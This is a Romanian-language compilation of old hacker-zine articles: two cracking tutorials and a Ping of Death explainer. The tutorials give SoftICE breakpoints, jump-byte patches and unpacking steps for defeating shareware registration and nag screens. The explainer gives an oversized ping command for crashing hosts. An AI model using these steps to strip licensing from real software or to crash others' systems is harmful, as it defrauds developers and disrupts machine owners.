Declaratie: Nu imi asum nici o responsabilitate pentru orice distrugere,
stricaciune pe care o veti provoca in urma citirii acestui
articol. Scopul acestui material este pr EDUCATIV.
==============================================================================================================================
Generalul Cracking
Am pornit sa scriu un nou articol, si anume unul despre cracking in general.
In primul rand : Ce inseamna cracking? Cracking-ul insemna a gasi schemele
de protejare a unui program, a fi in stare sa le dezactivezi temporar
sau permanent pe diverse cai. Bun. Si care ar fi aceste scheme ? Ele sunt
variate : simple numere de inregistrare, protectii care verifica daca
exista sau nu anumite fisiere, limtatii de diverse feluri (la timp, numar
de utilizari, diverse optiuni dezactivate etc.), prezenta CD-rom-ului
in unitate, chei hardware (dongles).
Ca programe sunt folosite debuggerele EX : debug din DOS, Soft-ICE.
Pentru generare de listing-uri in asm sunt folosite dezasambloare : EXSourcer
pentru DOS ,W32Dasm, IDA pro pentru programe WIN 16 sau WIN 32.
Cu Soft-Ice poti face aproape orice cu programul ales atata timp cat acesta
este incarcat in RAM. De exemplu poti schimba adresa de executie a programului,
poti schimba continutul registrilor procesorului, poti vedea orice zona
din memorie, poti seta sau reseta flagurile etc Dar cum am spus, modificarile
vor fi valabile doar in RAM nu si pe hard disk.
Ei bine, W32Dasm dezasambleaza programul ales, afiseaza clasele, siruri
de caractere folosite in program, offset-urile, adresele relative, referiri
la adresele de la care au fost executate salturi. Listing-ul se poate
salva, spre o utilizare viitoare, deasemenea se poate incarca intr-un
editor de texte. Voi trata in acest eseu cracking-ul programelor pentru
Windows pe 16/32 biti.
1. Numere de inregistrare
Ce sunt si cum se obtin? Cred ca de multe ori ati intalnit programe shareware
care cer numere de inregistrare pentru a putea fi folosite ca programe
full. Unele numere de inregistrare sunt simple siruri de caractere alfa-numerice
care se afla undeva in program sau in fisierele folosite de acesta. Altele
pot fi obtinute prin diverse operatii asupra numelui si/sau companiei,
adresei, numarului de telefon etc Sunt programe care folosesc un sistem
de criptare avansat (EX : WinRAR). Unele numere de inregistrare difera
de la un sistem la altul si de aici nevoia de patchuri sau generatoare
de coduri (keygenerators). Cum pot fi gasite ? Folosind un debugger (Soft-Ice
e cel mai bun). Se pun puncte de intreruperi la functiile din WINDOWS
care permit transferul datelor dintr-o casuta de dialog intr-un anume
buffer : GetDlgItemText(A),GetWindowText(A), GetDlgItem etc. Ar trebui
stiute prototipurile acestor functii. Ele pot fi gasite in SDK de la WINDOWS
etc. Pentru a afla adresa din memorie unde se afla numarul serial introdus
se executa o cautare in Soft-Ice :
s 0 l ffff "cod_introdus" - pentru programe pe 16 biti
s 0 l ffffffff "cod_introdus" - pentru programe pe 32 biti
Daca exista string-ul cautat, va fi afisata adresa acestuia. Mai
departe se pune o intrerupere la accesarea acestei adrese la citire/scriere.
Astfel, Soft-Ice va opri temporar programul acolo unde se va executa o
operatie asupra sirului introdus : copiere in totalitate sau numai a anumitor
caractere, comparare etc. Ideal ar fi sa se gaseasca cat mai usor compararea
numarului fals cu cel real dar acest lucru se intalneste numai la programele
cel mai prost protejate EX : Cmp Eax, Ebx unde eax poate stoca codul real
, ebx cel fals. Pot fi comparate doar anumite carctere de exemplu daca
primul caracter coincide cu '5' sa zicem, si ultimul cu 'R' atunci totul
este ok. Compararea se poate face si indirect, adica fara ajutorul instructiunii
Cmp. Iata un exemplu : Eax contine codul adevarat iar Ecx cel fals. Daca
diferenta dintre ele este 0 atunci iarasi e ok. Acestea sunt doar cateva
situatii. In caz ca se face copierea sirului la alta adresa atunci trebuie
pus un punct de intrerupere la noua adresa : bpm adresa_noua
sau bpr 30:adresa_noua 30:adresa_noua + lungimea_sirului si se
sterge cel vechi cu bc nr_intrerupere_precedenta. Ordinea intreruperilor
se poate afla cu 'bl'. Acest procedeu se repeta daca este intalnita iarasi
o copiere. Daca programul nu foloseste nici una dintre functiile API de
mai sus, se pot folosi Hmemcpy sau alte metode. Una dintre ele este urmatoarea
: tastati 'task' , obtinand astfel numele modulului de spart, apoi 'hwnd
nume_modul_cautat' si cautati in rubrica 'Class Name' edit, retinand ce
scrie la 'Window Handle'. Dupa aceea se pune o intrerupere la handle-ul
gasit pentru orice mesaj WM_GETTEXT trimis (daca aveti putine cunostiinte
de programare de Windows veti intelege mai mult) : 'bmsg handle_gasit
wm_gettext'. Soft-Ice va iesi la iveala atunci cand programul va prelua
informatia introdusa. Pentru a ajunge in codul programului se apsa F12
de cateva ori. Sper ca nu v-am incalcit gandurile prea mult cu aceasta
rubrica de numere de inregisrtare; acestea sunt cele mai comune situatii.
Un caz particular se constituie in programele scrise in Visual Basic.
Aici se utilizeaza de cele mai multe ori formatul WideString. De exemplu
deschidem executabilul cu un editor hexa si vrem sa cautam sirul "Unregistered"
(de ce oare ? ;P) vom cauta U.n.r.e.g.i.s.t.e.r.e.d. si nu Unregistered.In
cazul programelor vb W32DASM o da in bara in marea majoritate a cazurilor
pentru ca executabilul nu este unul obisnuit. El contine date si chemari
de functii standard continute in dll ca VBRUN300.DLL, VB40016.DLL sau
VB40032.DLL, msvbvm50.dll, msvbvm60.dll care se afla in c:\windows\system.
Reverserii de la Dread au venit in ajutorul crackerilor cu o versiune
a W32DASM care poate vedea referintele la diverse string-uri. In cazul
acesta se poate aplica schema obisnita si anume se cauta mesajul (daca
exista :) si se va schimba conditia de validare a numarului serial (eX:
in loc de jne mesaj_eroare se pune je, adica totul este ok atata timp
cat numarul de serie este diferit de cel corect :P) facandu-se un patch.
Aceasta metoda este standard. Ea se poate optimiza. De exemplu pot fi
mai multe verificari. Dar ce ne-am fi facut fara aceasta scula? Ei bine,
razzia a gasit o solutie valabila pentru vb3 si 4. Iata : - se executa
un search de forma
s 0 l ffffffffff 8B,CA,F3,A6,74,01,9f,92,8D,5E,08,E8,0E,06
- se pune un punct de intrerupere la adresa rezultata din cautarea de
mai sus:
bpx <seg:offset>
- F5 pana se ajunge la verificare
Tot ce aveti de facut este sa vizualizati continutul de la ds:(e)di si
ds:(e)si. Pentru programele scrise in VB 4 este valabil acelasi algoritm
dar se executa
s 0 l fffffffff 56,57,8b,7c,24,10,8b,74,24,0c,8b,4c,24,14.
In VB 5,6 lucrurile se simplifica oarecum. Acum se pot pune bpx-uri la
functii de comparare
standard : __vbastrcomp, __vbastrcmp etc. IMPORTANT : in fisierul winice.dat
trebuie
mentionate cele 2 dll-uri astfel EXP=c:\windows\system\msvbvm50.dll si
EXP=c:\windows\system\msvbvm60.dll.
Pentru programele in vb6 bpx-ul se va pune astfel : bpx msvbvm60!__NumeFunctie.
O
lista cu alte functii vb se poate obtine tastand in Soft-Ice exp __vba.
Un alt program care va
poate ajuta vine tot de la NuMega, si anume SmartCheck, un fel de decompilator.
Il puteti folosi la gasirea de algoritmi de generare a numerelor seriale
(util pentru genaratore de key-uri). Cam atat despre Visual Basic Cracking.
2. Cate ceva despre mesajele 'suparatoare' (nag-screens)
De cate ori nu ati
intalnit un program shareware care sa nu va streseze ca mai aveti doar
x zile de utilizare a programului respectiv, sau ca programul este 'Unregistered',
sau bla...bla...bla In acest caz, W32Dasm ajuta destul de mult, deoarece
arata referintele la diverse string-uri,si, daca priviti mai sus dati
probabil si peste cauza care a produs afisarea acestora (in loc si la
timp nepotrivit ;). Odata gasita aceasta conditie, se inlocuieste cu opusa
ei si se face un patch pentru a elimina definitiv acest bug...Presupunand
ca avem un nag-screen care afiseaza 'Mesaj' putem proceda astfel: incarcam
executabilul in W32DASM si pe urma ii dam un 'Search' scriind mesajul
de mai sus. Vom ajunge acolo unde a fost
facuta referinta la acest string :
:004043D4 85C0 test eax, eax
:004043D6 7437 je 0040440F
:004043D8 6A04 push 00000004
* Possible StringData Ref from Data Obj ->"Mesaj"; esti aici
:004043DF 68C8C44000 push 0040C4C8
:004043E4 8B5508 mov edx, dword ptr [ebp+08]
:004043E7 52 push edx
* Reference To: USER32.MessageBoxA, Ord:01BEh
:004043E8 FF159CA14000 Call dword ptr [0040A19C]
Pentru a scapa de
mesaj se poate pune in loc de je 0040440F jne 0040440F sau
je 0040440F sau jmp 0040440F(in patch se va inlocui 74 (je) cu 75(jne)
sau EB (jmp)). Se observa ca nag-screen-ul s-a constituit intr-un messagebox.
Putem folosi si Soft-Ice astfel bpx messageboxa, F12 odata, ctrl+UP ca
sa vedem conditia, punem un bpx la adresa cu saltul conditionat (in cazul
nostru 004043D6), F5, provocam programul sa ne arate iarasi mesajul, caz
in care ne trezim in Soft-Ice la bpx pus inainte..., rfl z (adica setam
flagul z in pozitia dorita :), bc *, si sdin nou F5. Nici urma de nag-screen.
Unele nag-screen-uri mai atragatoare pot fi cele care folosesc DialogBoxParamA,
DialogBoxIndirectParamA etc
==========================================================================================================================
Intro... in lumea cracking-ului
Continut:
Structura unui exe-cutabil..
Dezasambloare-Debuggere..
Hexeditoare..
Unpack-ere..
Patchers..
Alte utilitare..
Bun-venit in lumea crackerilor!! :)
--------------------------------------------------------------------------------
Well oameni buni.... daca ati ajuns sa cititi aceste randuri inseamna ca sunteti interesati intr-o oarecare masura de spartul programelor.
Toata lumea are o idee despre ceea ce inseamna freeware , shareware...programe ce le gasim pe Cd-urile revistelor lunare (care pe la noi sunt cam putine) si care sunt perzentate spre evaluare. Toti cred ca au trecut printr-un moment in care am spus "mai sa fie programul asta era asa de misto si acum nu-l mai pot utiliza ca s-au dus 30 de zile".
Eh eh eh... eeeeiii a venit momentul sa dam de cap programelor astora care trebuie sa faca ce vrea Muschii Nostri, nu ce le-au pus programatorii sa faca ..si pentru ca acesta pagina nu este decat un INTRO aici imi propun sa fac o descriere in mare a ceea ce trebuie sa stiti despre cracking.
Structura unui executabil
--------------------------------------------------------------------------------
O imagine reala a unui executabil v-o puteti face privindu-l ca pe un sir foarte lung format numai din 1 si 0 , ceva de genul 101110100010001010001001001010........ :-).
Cum recunoaste sistemul de operare ca acest sir este un program executabil nu este treaba noastra dar in mare va pot spune ca el scaneaza prin multitudinea de biti la adrese fixe , predefinite anunite siruri si comparand cu ceea ce cunoaste el da verdictul. Mai pe omeneste sa presupunem ca avem un fisier de tipul MZ..,qwu..u22..111002.7izj...wh.............( 1 si 0 de mai sus pot arata si asa in baza 16 ..atentie)..pai Os-ul (sistemul de operare) cauta sa spunem primii 2 bytes in cazul nostru gasind MZ, apoi ii compara cu ceva ce el cunoaste si apoi in functie de rezult stie ca are de-a face cu un executabil...sau altceva.
O alta chestie interesanta e ca bitii aia nu stau asa la intamplare. Ei reprezinta condensarea pana aproape de perfectiune a informatiei... si asta-i nimic... cand te gandesti la ADN... Un fel de functie daca se poate spune asa, care in volumul infim pe care-l ocupa contine atatia parametrii incat sa dea nastere unui organism atat de complex cum e corpul uman si apoi mai este si... mintea... eeeeheheeee....
O parere despre cum e compus un executabil v-o puteti face utilisand un PE wiewer. Acest program arata sectiunile executabilului zone in executabil asemanatoare unui organism. Unele stocheaza cod executabil... un fel de inima altele resurse... bitmapuri icoane text un fel de haine...
Cam atat despre structura... lucrurile sunt complicate ar mai fi de mentionat aici ca fiecare program atunci cand incepe sa se execute are o adresa bine definita de unde sa o faca atunci cand se incarca in memorie. Aceasta este specificata desigur cum banuiti intr-o zona precisa in executabil si se numeste Entry Point (EP).
Cand apasam pe iconita unui executabil OS-ul citeste o gramada de parametii din exe printre care si EP-ul, il incarca apoi in memorie (pe exe) si da drumul exe-ului tocmai la adresa precizata de EP.
Dezasambloare si debuggere
--------------------------------------------------------------------------------
Pentru inceput trebuie sa stiti care sunt instrumentele necesare si ce fac ele in mare..cu ce ne ajuta ele in munca noastra. O prima clasa ar fi cea a dezasambloarelor si debuggerelor programe cu care codul binar este transformat in limbaj inteligibil pentru om de fapt cam ultimul nivel din care omul mai poate intelege ceva.
Iata aici cum din acest se transforma: Cod binar 1010101100101 -------> dezasambler debugger -------> call, jmp, deci codul binar (binar de la unu si zero) e transformat in instructiuni care pentru noi inseamna ceva.
Diferenta dintre un dezasamblor si un debugger este faptul ca primele proceseaza programul executabil si genereaza apoi un "dead listing" (un gen de fisier text in care codul binar e tradus in limbaj de asamblare) pe cand celelalte care sunt si cele mai inportante tool-uri fac acelasi lucru dar in timp ce programul este incarcat in RAM si se executa.
De aici rezulta si superioritarea acestora din urma fata de primele... adicatelea debuggerele dau posibilitatea crackerului sa ruleze programul instructiune cu instructiune sa modifice in timp real instructiuni si totodata sa observe efectele modificarilor facute... bla bla bla...
SoftIce este the best tool in clasa debuggerelor practic 95% din programele crackuite de mana lu' SIce mor. Ca dezasambloare e de amintit W32Dasm care este si debugger este usor de folosit datorita interfetei win32.
Daca acum auziti prima data de ele va sfatuiesc sa faceti repede rost de ele si sa incepeti prin a va obisnui cu utilizarea lor...
Nu insist mai mult utilizarea lor e mai bine de invatat pe exemple..
Hexeditoare (eeee.. buuuun.. ce este un hexeditor ?)
--------------------------------------------------------------------------------
Odata crackuite (sparte) utilizand fie SIce fie alte programe este nevoie ca crackul sa fie aplicat definitiv executabileleor. Acest lucru este posibil utilizand un hexeditor. Eeee.. bun.. ce este un hexeditor?
Un hexeditor este un program care "deschide" un executabil afisandu-i continutul in forma hexadecimala (vezi reprezentare numerelor in diferite baze ..2..10..16). Oricum intr-un astfel de hexeditor veti vedea numere de la 1 la 10 si litere de la A....F.
Nu mentionez aici nici un nume... ele sunt foarte numeroase... ramane la latitudinea fiecaruia sa-si aleaga pe cel ce-i place mai mult.
" ERA Unpackers "(despachetatoare)
--------------------------------------------------------------------------------
Trebuie sa mai stiti ca din ce in ce mai multe programe "ies" pe piata impachetate. Adica executabilul spre exemplu xxxx.exe este supus unei operatii de criptare... sau de comprimare in scopul protejarii lui impotriva actiunilor corozive a crack-erilor... eh eh eh...i ntelegi ce vreau sa spun. Aici este ceva mai mult de discutat.
Un astfel de executabil dupa opeatia de impachetare devine yyyy.exe cu o marime variabila (daca initial ar fi avut 2Mb dupa ar putea avea 3sau 1Mb in general mai mica). Pe piata actuala se gaseste o varietate de astfel de packere... Neolite, PKlite, Shrinker, ASPack ce stau la dispozitia softistilor pentru a-si proteja munca.
Cum actionaza aceste packere ?.... in mare supun executabilul ce trebuie protejat unor algoritmi mai mult sau mai putin complecsi rezultand in final o mare harababura ( veti intelege mai putin mai tarziu cu afecteaza ea dezasambloarele ). O data harababura terminata isi lasa o parte din ele la inceputul programului EP si banuiti cred ca aceasta nu poate fi altceva decat un algoritm prin care harababura sa fie adusa la forma ei initiala.
Dar cu aceasta harababura cum se mai poate executa programul ? Pai simplu... intai se despacheteaza datorita algoritmului cu care incepe sa ruleze si dupa ce s-a despachetat total aceasta rutina de despachetare da controlul spre executie programului propriuzis.
In SoftIce noi putem monitoriza tot acest proces dar acest lucru cere multa experienta si determinarea algoritmilor de impaketare este foarte greoaie chiar si pentru experti.
Sa vedem cum ne afecteaza activitatea aceste packere. Sa presupunem ca avem de anulat un nag (o fereastra nedorita)... ei bine cautam in SoftIce ceva jmp-uri si gasim ca avem de inlocuit stiu eu 74 spre exemplu cu EB. Revenim apoi intr-un hexeditor sa aplicam patch-ul (petecul) si stupoare nu gasim 74 ala.
Nota:
- primul semn ca un program e impachetat e faptul ca daca cautam intr-un
hexeditor un sir hexa (pe care il notam la intamplare din SoftIce) nu
il gasim.
- o alta simptoma ar fi aceea ca dupa incarcarea intr-un dezasambler nu
gasim string referance, si instructiunile nu au nici o insiruire logica.
Acestea fiind spuse va dati seama ca peticirea este imposibila caci nu vom gasi ceea ce cautam. Vom ramane cu programul spart doar la stadiul de SIce. :-(
Si pentru ca suntem la sectiunea de unpackers sa revenim la oile noastre.
La ce sunt bune unpackerele?
Pai ati uitat ca pentru a se executa programele impachetate au nevoie sa se despacheteze intai ? Si unde... in memorie desigur. Eeee asta era... deci ce fac unpackerele astea de fapt... asteapta pana ce rutina de despachetare isi termina treaba si apoi dump-eaza zona de memorie in care se afla programul gata de executie. Frumos nu?
Cu toate acestea rezultatele
nu sunt garantate tocmai pentru ca exista o multitudine de packere fiecare
necesitand parametrii specifici de dumpare.
Tatal tuturor unpackerelor si nasul packerelor e ProcDump ajuns acum la
versiune 1.6. Acesta recunoaste multe packere si in plus ofera posibilitatea
configurarii pentru cele necunoscute.
Odata executabilele despachetate si functionale (nu orice dump poate fi functional 99%) nu ne ramane decat sa aplicam patch-ul.
Patchers (generatoare de crackuri)
--------------------------------------------------------------------------------
Presupunem ca avem
programul gata spart si vrem sa'l facem public. Nu stim de asemeni prea
multe de-ale programarii. Ce facem atunci ? Patcherele sunt mici executabile
care au capacitatea de a genera alte executabile. Ele sunt de mai multe
tipuri in functie de necesitati:
Search and replace cauta o secventa predefinita intr-un anumit fisier
si o inlocuieste cu ce trebuie... util in cazul unor crackuri pentru mai
multe versiuni ale aceluiasi program care pastreaza aceeasi protectie
dar are dimensiuni diferite (exe-le).
File compare genereaza un crack-ul prin compararea fisierului spart cu
originalul... in acest caz crackul e functional doar pentru versiunea
exacta a programului pe care a fost facut.
RunTime pach destul de interesant si in ultima instanta un inlocuitor
la unpatcherelor... programul nu mai trebuie despachetat (si ganditi-va
ce usurare si in plus nu de putine ori exista cazuri cand aceasta esueaza),
patchul executandu-se in timpul rularii in memorie a programului ce trebuie
spart.
Alte utilitare
--------------------------------------------------------------------------------
Programatorii vor sa ne umple calculatorul cu tot felul de porcarii . V-ati pus vreodata intrbarea cum poate un program sa tina minte de exemplu data cand a fost instalat astfel ca dupa x zile sa va bage nag-ul in fata si sa va spuna arogant... "Gata m-am terminat" ? ... ce nesimtire !!!! ...sau la o protectie putin mai complicata chiar daca dati ceasul inapoi sa va ameninte ca va formateaza hardul!!!.
Desigur el nu poate face asta decat lasandu-si ceva amprente prin registrii sau ascunzand pe undeva un fisier cu data resprctiva criptata sau nu.
Important in crackuirea unui program este sa stim ce si unde modifica acesta la instalare sau in timpul rularii... de ce date are el nevoie din registrii... etc.
Doua astfel de programe unul monitorizand registrii si altul fisierele cu care interactioneaza o anumita aplicatie sunt RegMon si FileMon .
Nu mai vorbim aici cum putem determina si apoi sterge data... ora... la care s-a instalat un anumit program numarul de utilizari.. etc. Chiar daca de multe ori gasirea orei.. datei sunt dificile numai simpla identificare a cheilor scrise in registru e importanta.. caci aceste chei pot fi sterse si programul reinstalat ca intaia oara.
=====================================================================================================================
Pingul Mortii
"totul are un inceput ....."
Acest "text" a fost scris doar pentru a fi citit :-) asa ca tu nu lua de bun tot ce scrie aici vezi ce mai zice si intrenetu' .
PING OF DEATH - PINGUL
MORTII
Cum sa dobori un sistem de operare?
1. Problema
Pe scurt, este posibil sa doborii , reboot-ezii (etc.) numeroase sisteme prin trimiterea unui ping de o dimensiune fixa catre sistem. Aceasta este o problema serioasa deoarece atacatorul nu trebuie sa stie nimic despre masina pe care doreste sa o atace decat adresa de IP. TEMETI-VA pentru ca peste 18 sisteme de operare au fost gasite vulnerabile.
E foarte usor sa exploatezi acest bug , multe sisteme nu accepta sa fie ping-uite cu pachete mai mari de 65536 bytes. Acest bug este "inghitit" de: Unix, Mac, Netware, Imprimante, Routere si lista poate continua. Pach-urile au aparut foarte repede - cel mai repede a aparut cel pt Linux in mai putin de 4ore, dar Bill Webb de la Telebit a declarat ca pentru Netblazer pach-ul a aparut in mai putin de 2 ore.
2. Mai exact
Pachetele ip (RFC-791) nu pot fi mai mari de 65535 (2^16-1) octeti care include si lungimea header-lor ( 20 octeti daca nu sunt specificate alte optiuni Ip). Pachetele care sunt mai mari decat marimea maxima sunt fragmentate (MTU) in pachete mai mici, care sunt refacute de catre receptor. Pentru ethernet MTU este 1500. O cerere ICMP ECHO "exista" in pachetul IP, continand 8 octeti - header-e de informatie ICMP (RFC-792)- urmati de numarul de octeti de date din cererea "ping". De aici rezulta ca maximul de date permis in "marimea pingului" este 65535 - 20 - 8=65507 octeti.
3. Cei cauzeaza masini mele sa pice?
Cu toate acestea este posibil sa trimiti un pachet cu mai mult de 65507 octeti de date chiar daca se face fragmentarea . Fragmentarea realizeaza(pune) o valoare de offset in fiecare fragment pentru a determina ordinea lor la reasamblare (recompunere). Astfel in ultimul pachet, este posibila combinarea unui offset valid cu un fragment potrivit astfel incat (offset+marimea) > 65535. Sistemul care primeste pachetul nu-l proceseaza(prelucreaza) pana cand nu are toate fragmentele pentru a le reasambla, in acest moment (al reasamblari) sistemul poate crapa ( reboot, kernel dumps etc).
Aceasta problema poate fi exploatata de oricine care trimite pachete ip .Nu doar ICMP echo, dar si TCP, UDP si chiar IPX pot fi folosite pentru a lovii.
Blocarea raspunsului ping ( -> firewall) este doar o solutie provizorie deoarece atacul poate fi realizat prin NFS, telnet, http,... . Singura solutie este cea de securizarea a kernel-ului pentru "a nu da pe din afara" in momentul in care reface pachetele.
4. Cum sa testezi daca esti vulnerabil?
Din nefericire acet bug este usor de exploatat. Poti verifica daca "merge" in felul urmator; pe un sistem cu Windows '95 or NT (3.51 or 4) da urmatoarea comanda:
ping -l 65510 adresa_de_ip
mesajul care apare pe sistemul cu windows '95 va fi 'Request Timed Out". Asta inseamna ca ping-ul nu a raspuns sau ca sistemul te ignora ( ai trimis un pachet invalid ) sau pentru ca e mort. Nu-i asa ca-i simplu'....
Cateva cuvinte despre "victime":
Apple Mac MacOs 7.x.x
Cum se manifesta?
Crash
Patch: cautati-l la Mac
Linux <= 2.023
Cum se manifesta?
reboot sau kernel panic
Patch: Da iar de la kernel 2.0.24 nu mai pica
Minix 1.7.4 si poate
altele
Cum se manifsta?
Crash
Patch: ?
MSDOS cu Lan Workplace
Cum se manifesta?
Crash
Patch: nu exista
Novell Netware 3.x
Cum se manifesta?
Poate sa pice sau nu poate sa pice. :-) sau :-(
Patch: ?
Solaris (x86) 2.4,
2.5, 2.5.1
Cum se manifesta ?
Simplu : reboot
Patch: cautati-l la sun
Windows 3.11 with
Trumpet Winsock
Cum se manifesta?
O persoana nu are probleme, alte doua au erori de retea si sunt deconectati
de la retea - pc-ul trebuie restartat pt a-si reveni.
Windows 3.11 cu FTP
software PCTCP, Chameleon NFS 5.4, Digital Pathworks
stack 6.0.034 si LINK TCP stack
Cum se manifesta?
Se intrerupe
Patch: nu exista
Windows NT 3.5, 4
Cum se manifesta?
Crash
Patch: oare ce zice microsoft?
Windows '95
Cum se manifesta?
Crash
Patch: cu putin noroc poate sa nu pice ;-) vezi ce zice si microsoft
===================================================================================================================
Finish